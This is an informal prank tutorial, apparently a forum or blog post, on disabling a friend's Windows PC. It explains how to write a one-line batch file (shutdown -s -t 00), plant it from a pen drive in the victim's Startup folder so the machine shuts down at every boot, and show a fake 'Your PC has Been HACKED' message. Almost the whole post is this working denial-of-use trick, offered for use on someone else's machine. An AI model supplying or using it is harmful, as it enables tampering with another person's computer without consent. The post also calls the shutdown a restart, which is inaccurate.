Create Trouble For Your Friend!!!!!!!!!

This is one of the oldest trick but surely the nicest one!!!!!!
What this trick does is it restarts the PC every time you boot..........

Step 1: Open notepad and copy paste the following in to it

shutdown -s -t 00

Step 2: Save it as shutdown.bat.
Step 3: Copy this to pen drive and get access to the PC u wanna play with
Step 4 : On that PC copy the file to the following destination.
Start --> All Programs --> Start Up --> Paste it there...

Now its done .
Now Whenever your friend boots into his PC it will automatically restart again!!!!!!

Also u can play around by adding some warnings/caution message before PC restarts ...

For doing this change the shutdown.bat as follows
shutdown -s -t 10 -c "Your PC has Been HACKED"

You can put your own message in between the inverted commas....

Please don't trouble your friend too much with this....

In order to remove this log into any other administrative account and delete the shutdown.bat file from start up.....

You can find it here

C:\Documents and Settings\Username\Start Menu\Programs\Startup

Enjoy!!!!!!!!!!!